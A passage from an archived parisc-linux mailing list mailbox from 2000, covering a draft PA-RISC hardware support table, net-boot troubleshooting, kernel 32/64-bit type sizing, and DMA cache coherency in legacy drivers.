 boundary="------------C7348040B7823DD93898930E"
X-Trace: ger.gmane.org 1416619367 7304 80.91.229.3 (22 Nov 2014 01:22:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:47 +0000 (UTC)
To: parisc-linux@thepuffingroup.com, mhicks@linuxcare.com
Original-X-From: adevries@linuxcare.com  Thu Nov 30 11:24:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA24950
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 11:23:58 -0700
Original-Received: (qmail 10925 invoked by uid 15267); 30 Nov 2000 18:26:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10880 invoked from network); 30 Nov 2000 18:26:21 -0000
Original-Received: from unknown (HELO smtp.linuxcare.com) (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 18:26:21 -0000
Original-Received: (qmail 25709 invoked from network); 30 Nov 2000 18:26:21 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 30 Nov 2000 18:26:21 -0000
Original-Sender: adevries@mailserv2.iuinc.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:8689

This is a multi-part message in MIME format.
--------------C7348040B7823DD93898930E
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


The most often asked question on this list is "Will my XXX machine run
Linux?"

I'm trying to come up with a dead-simple list of what does and does not
run.  The idea is that people will so easily be able to find the
information that they won't ask on the mailing list.

So, can people have a look over the attached HTML text, and fill in any
blanks? I know I have incorrect and missing information, so please help.

If you happen to have bootlogs kicking around, I'll collect those too. 
That'll help with integrating this all into the hardware database,
although that's a larger and future project.

Please mail the responses back to me <alex@linuxcare.com> and Martin
Hicks <mhicks@linuxcare.com> so we can update the pages.  Please don't
flood this list with tiny updates.

When we have another draft of this, we'll pass it by the mailing list
again.

- Alex

-- 
Alex deVries, Principal Solutions Architect, The Puffins at Linuxcare
613.562.2759 tel
alex@linuxcare.com, http://www.linuxcare.com/
Linuxcare, Support for the revolution.
--------------C7348040B7823DD93898930E
Content-Type: text/html; charset=us-ascii;
 name="hardware.html"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="hardware.html"

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
   <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
   <meta name="GENERATOR" content="Mozilla/4.75 [en] (X11; U; Linux 2.2.13 i686) [Netscape]">
</head>
<body>

<h2>
Will my PA-RISC Machine Run Linux?</h2>

<p><br>This is the most asked question on the parisc-linux mailing list,
and you should look here first for information before asking questions.
<h3>
How do I figure out if my machine will run Linux?</h3>

<p><br>Check out the following list and try and find your machine in it.
<p>If your machine isn't listed, then:
<br>a) See if it exists in the Hardware Database, if it does not, mail
the mailing list
<br>b) Try booting it with Linux, and report back to the mailing list so
we can update this data.
<p><b>32-Bit Machines</b>
<p>These all have 32-bit processors and 32-bit IO subsystems, and will
only run a 32-bit Linux kernel.
<p>First, here's a list of totally unsupported machines: E25, E45, E55,
F10, G40, H20, H50, I70, T500, T600.&nbsp; All these machines contain proprietary
busses, and there is no available documentation for us to get them running.
<br>&nbsp;
<table BORDER COLS=8 WIDTH="100%" NOSAVE >
<tr NOSAVE>
<td WIDTH="100" NOSAVE>Model</td>

<td>Name</td>

<td>Boots</td>

<td>Parallel</td>

<td>Network</td>

<td>SCSI</td>

<td>Serial</td>

<td>Keyboard</td>
</tr>

<tr>
<td>705, 710</td>

<td>Flounder and Bushmaster</td>

<td>?</td>

<td></td>

<td></td>

<td></td>

<td></td>

<td></td>
</tr>

<tr>
<td>720, 730</td>

<td>Cobra</td>

<td>Yes</td>

<td></td>

<td></td>

<td>Broken</td>

<td>Yes</td>

<td></td>
</tr>

<tr>
<td>725/100</td>

<td>Electra</td>

<td>?</td>

<td></td>

<td></td>

<td></td>

<td></td>

<td></td>
</tr>

<tr>
<td>725/50</td>

<td>Spectra</td>

<td>?</td>

<td></td>

<td></td>

<td></td>

<td></td>

<td></td>
</tr>

<tr>
<td></td>

<td></td>

<td></td>

<td></td>

<td></td>

<td></td>

<td></td>

<td></td>
</tr>

<tr>
<td>712/60, 712/80, 712/80I,&nbsp; 712/100</td>

<td>Gecko</td>

<td>Yes</td>

<td></td>

<td>Yes</td>

<td></td>

<td></td>

<td></td>
</tr>

<tr>
<td>715/33, 715/50, 715/75</td>

<td>Old 715s, Scorpio</td>

<td>Yes[*]</td>

<td></td>

<td>Yes</td>

<td></td>

<td></td>

<td></td>
</tr>

<tr>
<td>715/64, 715/80, 715/100</td>

<td>New 715s, Mirage</td>

<td>Yes</td>

<td></td>

<td>Yes</td>

<td>?</td>

<td></td>

<td></td>
</tr>

<tr>
<td>A180, A180C</td>

<td>Staccato</td>

<td>Yes</td>

<td></td>

<td>Yes</td>

<td>Yes</td>

<td>Yes</td>

<td>N/A</td>
</tr>

<tr>
<td>B180L</td>

<td>Merlin</td>

<td>Yes</td>

<td></td>

<td>Yes</td>

<td>Yes</td>

<td>Yes</td>

<td>?</td>
</tr>

<tr>
<td>B132L</td>

<td>Merlin</td>

<td>Yes</td>

<td></td>

<td>Yes</td>

<td>Yes</td>

<td>Yes</td>

<td>?</td>
</tr>

<tr>
<td>735/125</td>

<td>Outfield&nbsp;</td>

<td>Yes</td>

<td></td>

<td></td>

<td></td>

<td></td>

<td></td>
</tr>

<tr>
<td>C100, C110</td>

<td>Raven T'</td>

<td>?</td>

<td></td>

<td></td>

<td></td>

<td></td>

<td></td>
</tr>

<tr>
<td>D200, D220</td>

<td>UL350</td>

<td>?</td>

<td></td>

<td></td>

<td></td>

<td></td>

<td></td>
</tr>

<tr>
<td>D310, D330, D350, D370</td>

<td></td>

<td>?</td>

<td></td>

<td></td>

<td></td>

<td></td>

<td></td>
</tr>

<tr>
<td>J200, J210, J210XC</td>

<td>Skyhawk</td>

<td>?</td>

<td></td>

<td></td>

<td></td>

<td></td>

<td></td>
</tr>

<tr>
<td></td>

<td></td>

<td></td>

<td></td>

<td></td>

<td></td>

<td></td>

<td></td>
</tr>

<tr>
<td></td>

<td></td>

<td></td>

<td></td>

<td></td>

<td></td>

<td></td>

<td></td>
</tr>
</table>

<p>[*] Note that network booting on older machines is done through rbootd,
not the usual bootp/tftp mechanism.
<p><b>64-bit capable machines</b>
<p>Right now, run a 32-bit Linux kernel on these.
<p>C160, C160L, C180, C180XP, Raven U
<br>C200+, C240+, Raven+
<br>D270, D280, D370, D380, D390, R380, R390 UL 550
<br>K260, K360, K370
<br>K380 Mohawk
<br>K460, KittyHawk
<br>J282
<p><b>64-bit Only Machines</b>
<p>The following machines will not yet run Linux because they require a
64-bit Linux kernel that doesn't yet work.&nbsp; Patience!
<p>A500
<br>C3000, C3600 Allegro
<br>J2240 SummitHawk
<br>J5000 Forte
<br>L1000-44, L2000-44 Rhapsody
<br>N4000-36 Prelude, N4000-44
<br>&nbsp;
</body>
</html>

--------------C7348040B7823DD93898930E--


From - Thu Nov 08 21:14:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 19:36:52 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <00113019365203.00309@P100>
References: <Pine.LNX.3.96.1001130134528.16737A-100000@latt.if.usp.br> <00113019213802.00309@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619367 7310 80.91.229.3 (22 Nov 2014 01:22:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:47 +0000 (UTC)
Cc: assirati@socrates.if.usp.br
To: "Jorge L. deLyra" <delyra@latt.if.usp.br>, parisc-linux@thepuffingroup.com
Original-X-From: deller@gmx.de  Thu Nov 30 11:34:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA25542
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 11:34:21 -0700
Original-Received: (qmail 28746 invoked by uid 15267); 30 Nov 2000 18:36:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28644 invoked from network); 30 Nov 2000 18:36:45 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 18:36:45 -0000
Original-Received: (qmail 6991 invoked by uid 0); 30 Nov 2000 18:36:43 -0000
Original-Received: from pd9040367.dip.t-dialin.net (HELO P100) (217.4.3.103)
  by mail.gmx.net (mail06) with SMTP; 30 Nov 2000 18:36:43 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <00113019213802.00309@P100>
Xref: news.gmane.org gmane.linux.ports.parisc:8690

On Thursday 30 November 2000 19:21, Helge Deller wrote:
> On Thursday 30 November 2000 16:49, Jorge L. deLyra wrote:
> > OK, rbootd is up and running, the station now establishes instantaneous
> > communication with the server. But it says "bad LIF magic" and does not
> > boot. I presume I can't just put the precompiled kernel in there. Since
> > I cannot cross-compile for the time being (bad HP server disk crash) is
> > there a net-boot kernel somewhere that I can download and try?
> >
> > 							Cheers,
>
> Hi,
>
> Just a thought: are you shure, that you did "make palo" and exported
> palo/lifimage  instead of vmlinux ?

oops, 
I just saw, that you currently _can_not_ cross-compile..... :-(
But if you still want to download a kernel I can make one available for 
you.....

Helge.


From - Thu Nov 08 21:14:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 19:37:46 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <00113019374604.00309@P100>
References: <FKEGLIIBOIACJOCCAFIMIEFGCCAA.smoret@uci.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619367 7316 80.91.229.3 (22 Nov 2014 01:22:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Steve Moret" <smoret@uci.edu>
Original-X-From: deller@gmx.de  Thu Nov 30 11:35:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA25820
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 11:35:36 -0700
Original-Received: (qmail 31102 invoked by uid 15267); 30 Nov 2000 18:38:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31020 invoked from network); 30 Nov 2000 18:38:01 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 18:38:01 -0000
Original-Received: (qmail 9308 invoked by uid 0); 30 Nov 2000 18:37:34 -0000
Original-Received: from pd9040367.dip.t-dialin.net (HELO P100) (217.4.3.103)
  by mail.gmx.net (mail10) with SMTP; 30 Nov 2000 18:37:34 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <FKEGLIIBOIACJOCCAFIMIEFGCCAA.smoret@uci.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:8691

On Thursday 30 November 2000 18:50, Steve Moret wrote:
> With the BiDirectional stuff back in it dies here:
>
> Inode-cache hash table entries: 16384 (order: 5, 131072 bytes)
> POSIX conformance testing by UNIFIX
> ASP version 20 at 0xf0800000 found.
> LED (ASP-style) display at f0800020
> parport_gsc.c: initialize bidirectional-mode
>
[oops msg deleted]

Yup, that was what I thought !
I will try to come up with a clean fix in the next few hours...

>
> And it appears that the LEDs work, however I'm not familiar enough with
> them to know what they all mean or if they should or should not blink,
> glow, or cause alarming amounts of pain to those who walk by.

The current code should let your heartbeat-LED blink two times per second and 
LAN-TX, LAN-RCV and DISK-IO-LED should blink each after another...

Greetings,

	Helge


From - Thu Nov 08 21:14:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jorge L. deLyra" <delyra@latt.if.usp.br>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 17:11:32 -0200 (BRST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.1001130170122.23583A-100000@latt.if.usp.br>
References: <00113019365203.00309@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619368 7320 80.91.229.3 (22 Nov 2014 01:22:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:48 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, assirati@socrates.if.usp.br
To: Helge Deller <deller@gmx.de>
Original-X-From: delyra@latt.if.usp.br  Thu Nov 30 12:21:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA26652
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 12:21:27 -0700
Original-Received: (qmail 16391 invoked by uid 15267); 30 Nov 2000 19:23:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26304 invoked from network); 30 Nov 2000 19:11:53 -0000
Original-Received: from latt.if.usp.br (qmailr@143.107.129.103)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 19:11:53 -0000
Original-Received: (qmail 23920 invoked by uid 1003); 30 Nov 2000 19:11:32 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 30 Nov 2000 19:11:32 -0000
In-Reply-To: <00113019365203.00309@P100>
Xref: news.gmane.org gmane.linux.ports.parisc:8692

> > Just a thought: are you shure, that you did "make palo" and exported
> > palo/lifimage  instead of vmlinux ?

I just did the naive thing and put the precompiled kernel from the site
there. According to the docs on the NFSROOT that might work, I mean, it
says there that there are two alternatives, with and without palo...

> oops, 
> I just saw, that you currently _can_not_ cross-compile..... :-(

Yes, we are working towards this, but I read in the docs that for the time
being you can only cros-compile the kernel on HP-UX, so we must first fix
our HP-UX systems here. In any case, it will take a little while until we
tool up to do the cross-compilation, no matter where...

> But if you still want to download a kernel I can make one available for 
> you.....

This would be very nice! If you do that, please tell me where I can get
it. It might be a goot idea to have this net-bootable lifimage version of
the kernel on the ftp site side-by-side with the precompiled kernel which
is already there, don't you think?

						Many thanks,

----------------------------------------------------------------
        Jorge L. deLyra,  Associate Professor of Physics
            The University of Sao Paulo,  IFUSP-DFMA
       For more information: finger delyra@latt.if.usp.br
----------------------------------------------------------------


From - Thu Nov 08 21:14:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] time_t, size_t, off_t, ...
Date: Thu, 30 Nov 2000 12:50:11 -0700
Lines: 71
Approved: news@gmane.org
Message-ID: <E141Zid-00049i-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619368 7323 80.91.229.3 (22 Nov 2014 01:22:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:48 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: bame@noam.fc.hp.com  Thu Nov 30 12:47:43 2000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA27295
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 12:47:43 -0700
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id MAA12104
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 12:50:11 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 141Zid-00049i-00
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 12:50:11 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:8693


Thanks for all the helpful suggestions for data types.  Here's
my current plan so far as I know it, plus some questions/gripes.  I
have no current plans to break user space, though a new glibc
should be produced eventually because of changes to struct sigcontext.
I hope to make and test most(3) of these changes today.  Let me know
if anything is flatly stupid -- I already know some choices are not
ideal because ideal is impossible (off_t for example).

						# bits
					parisc		parisc64
					------------------------
__kernel_off_t (long)			32		64(1)
__kernel_size_t	(unsigned long)		32		64(1)
__kernel_daddr_t (int)			32		32(2)
__kernel_time_t (long)			32		64(1,3)
__kernel_suseconds_t (long)		32		64(1,3)
sigset_t.sig[] (long)			32		64(4)
__kernel_ino_t (unsigned int)		32		32(5)
elf.h:gregs_t				DEBUGGER ISSUE(6)

(1)	A difference from the current posix_types.h

(2)	Appears to be used for an on-media data structure.  mips64
	has it 64 bits which is probably wrong.

(3)	I'm currently using 32-bit time_t and suseconds_t for my 64-bit
	kernel and it appears to work just fine, and saves lots of syscall
	wrapper work.  However the other ports use 'long' so there's
	probably a good reason (or hidden assumptions in kernel code)
	for it.  Those are
	probably not the best reasons (I mean, why should a type used
	to describe milliseconds (timeval.tv_usec) be 64 bits?  Oh well,
	here come lots more 32/64 syscall wrappers to handle timevals.

	** NOTE ** I may not make the changes to these two types
	immediately due to the number of (uninteresting) syscall
	wrappers required (I'd rather write the networking ones first).
	Sorry this means posix_types.h may change more than once.

(4)	I thought I could get away with making this 'int' and therefore
	32 bits everywhere.  It would save several 32/64 syscall
	wrappers (and increase speed).  However this little piece
	in kernel/signal.c is a hard-coded assumption that .sig[] is
	an array of long, and was a bitch to find:

		unsigned long i, *s, *m, x;
		s = tsk->pending.signal.sig;

(5)	This looks to be 32 bits everywhere, even on 64-bit archs,
	with the single exception of sparc.  Although this little
	snippet in <linux/nfs_fs.h>:

	static inline ino_t
	nfs_fileid_to_ino_t(u64 fileid)
	{
		ino_t ino = (ino_t) fileid;
		if (sizeof(ino_t) < sizeof(u64))
			ino ^= fileid >> (sizeof(u64)-sizeof(ino_t)) * 8;
		return ino;
	}
	
	clearly shows a 32-bit ino_t is currently a (potential) problem,
	it seems to me this is a Linux problem not a parisc problem, so
	it seemed better to follow the lead of the other ports.

(6)	Debugger is going to care about structs in elf.h, which are not
	identical narrow and wide at the present time.

		-Paul Bame


From - Thu Nov 08 21:14:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Beard <cjbeard@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux Expo
Date: Tue, 4 May 1999 11:52:05 +0000 (   )
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9905041140080.5403-100000@sprite>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619368 7324 80.91.229.3 (22 Nov 2014 01:22:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:48 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: cjbeard@thepuffingroup.com  Wed Apr 28 04:05:01 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id EAA14429
	for <parisc-linux@puffin.external.hp.com>; Wed, 28 Apr 1999 04:05:00 -0600
Original-Received: (qmail 8143 invoked by uid 15267); 4 May 1999 11:46:38 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8136 invoked from network); 4 May 1999 11:46:37 -0000
Original-Received: from hse-ott-ppp31326.sympatico.ca (HELO sprite) (209.226.116.235)
  by mailserv2.iuinc.com with SMTP; 4 May 1999 11:46:37 -0000
X-Sender: cjbeard@sprite
Xref: news.gmane.org gmane.linux.ports.parisc:8694

 
I'm in the process of planning a special event with Hewlett-Packard for
Linux Expo with respect to the PA-RISC Porting Project. I will post
further details shortly, however, to help in the planning, I need to know
how many developers will be around.

The tentative date and time for the event will be around noon on
Wednesday, May 19th -- the tutorial day before the actual conference
begins.

So, If you are attending Linux Expo, please reply to me privately as soon
as possible. Also include which days you will be there in case it becomes
necessary to reschedule.

Chris


From - Thu Nov 08 21:14:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Question on Linux DMA routines
Date: Thu, 30 Nov 2000 20:09:23 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <20001130200923.Q22285@linuxcare.com>
References: <200011301731.JAA29335@milano.cup.hp.com> <200011301801.KAA29413@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619369 7327 80.91.229.3 (22 Nov 2014 01:22:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:49 +0000 (UTC)
Cc: Gunneswara Marripudi <raomg@cup.hp.com>,
        parisc-linux@puffin.external.hp.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rhirst@linuxcare.com  Thu Nov 30 13:11:09 2000
Original-Received: from rhirst.linuxcare.com (user-83-59.jakinternet.co.uk [194.88.83.59] (may be forged))
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA27848
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 13:11:08 -0700
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 1991BB007; Thu, 30 Nov 2000 20:09:23 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200011301801.KAA29413@milano.cup.hp.com>; from grundler@cup.hp.com on Thu, Nov 30, 2000 at 10:01:13AM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:8695

On Thu, Nov 30, 2000 at 10:01:13AM -0800, Grant Grundler wrote:
> Grant Grundler wrote:
> ...
> > The HW *is* fully coherent when the CPU doesn't cache the pages.
> > Only systems with PCX-L/L2 CPU (need to) operate this way.
> > All other platforms have an I/O MMU which manages the coherency.
> 
> Correction - PCX-T and older platforms are not coherent and U-bit
> isn't available/useable on those machines. Drivers must do their own
> cache flushing. sim700 (LASI SCSI) does this and I think Apricot
> (LASI LAN) too. I'm suspecting this might be part of the 735 problems.

That's right, sim700 and apricot call pci_alloc_consistent() and if
that fails they fall back to get_free_pages() and explicit cache
flushing and invalidating with dma_cache_wback/dma_cache_inv calls.
pci_alloc_consistent() should fail on pcx, pcxs and pcxt according
to setup.c.

When sim700 complains at startup that it "Couldn't get consistent
shared memory", it means pci_alloc_consistent() failed and therefore
you have one of these older CPUs, and it will drop back to doing its
own cache management.

At startup the driver does a test where it writes memory, flushes
it, writes something else to the same location, then gets the scsi chip
to read that location.  If the scsi chip gets the old data, the driver
says "WARNING: target data areas are not dma coherent".  This is
just for information, it has no effect on how the driver operates.

Richard


From - Thu Nov 08 21:14:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] time_t, size_t, off_t, ...
Date: Thu, 30 Nov 2000 20:50:04 +0000 (GMT)
Lines: 52
Approved: news@gmane.org
Message-ID: <E141aec-0007nC-00@the-village.bc.nu>
References: <E141Zid-00049i-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619369 7329 80.91.229.3 (22 Nov 2014 01:22:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:49 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: bame@noam.fc.hp.com (Paul Bame)
Original-X-From: alan@lxorguk.ukuu.org.uk  Thu Nov 30 13:51:41 2000
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA28965
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 13:51:38 -0700
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 141aec-0007nC-00; Thu, 30 Nov 2000 20:50:06 +0000
In-Reply-To: <E141Zid-00049i-00@noam.fc.hp.com> from "Paul Bame" at Nov 30, 2000 12:50:11 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8696

> (3)	I'm currently using 32-bit time_t and suseconds_t for my 64-bit
> 	kernel and it appears to work just fine, and saves lots of syscall
> 	wrapper work.  However the other ports use 'long' so there's
> 	probably a good reason (or hidden assumptions in kernel code)
> 	for it.  Those are

time_t itself is normally a long because historically (pre ANSI/POSIX) back
when men where men and adb was the coolest debugger on the planet it was
the case that time() foo was a function using longs

[Random historical aside - very early C didnt support passing long as an 
argument hence time(&foo) not foo=time()]

I know of no kernel reason. If you are using a 1KHz system clock then it
may be handy to up the loop time for the counter to above 50 days by using
long.

> (4)	I thought I could get away with making this 'int' and therefore
> 	32 bits everywhere.  It would save several 32/64 syscall
> 	wrappers (and increase speed).  However this little piece
> 	in kernel/signal.c is a hard-coded assumption that .sig[] is
> 	an array of long, and was a bitch to find:
> 
> 		unsigned long i, *s, *m, x;
> 		s = tsk->pending.signal.sig;

Eep. Its not unreasonable to suggest to Linus that gets fixed 8)

> (5)	This looks to be 32 bits everywhere, even on 64-bit archs,
> 	with the single exception of sparc.  Although this little
> 	snippet in <linux/nfs_fs.h>:
> 
> 	static inline ino_t
> 	nfs_fileid_to_ino_t(u64 fileid)
> 	{
> 		ino_t ino = (ino_t) fileid;
> 		if (sizeof(ino_t) < sizeof(u64))
> 			ino ^= fileid >> (sizeof(u64)-sizeof(ino_t)) * 8;
> 		return ino;
> 	}
> 	
> 	clearly shows a 32-bit ino_t is currently a (potential) problem,
> 	it seems to me this is a Linux problem not a parisc problem, so
> 	it seemed better to follow the lead of the other ports.

On the 64bit port _please_ use a 64bit ino_t. It'll possibly tickle the odd
other problem but post 2.4 the main kernel has to move to 64bit ino_t to make
NFSv3 and XFS sanely work. That may well let you relax and look smug as the
rest of the world suffers 8)

Alan


From - Thu Nov 08 21:14:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree status
Date: Thu, 30 Nov 2000 20:33:42 +0000 (GMT)
Lines: 10
Approved: news@gmane.org
Message-ID: <E141aOm-0007lW-00@the-village.bc.nu>
References: <200011301756.JAA29386@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619369 7332 80.91.229.3 (22 Nov 2014 01:22:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:49 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox), parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Thu Nov 30 13:59:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA29169
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Nov 2000 13:59:37 -0700
Original-Received: (qmail 6546 invoked by uid 15267); 30 Nov 2000 21:02:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18627 invoked from network); 30 Nov 2000 20:33:48 -0000
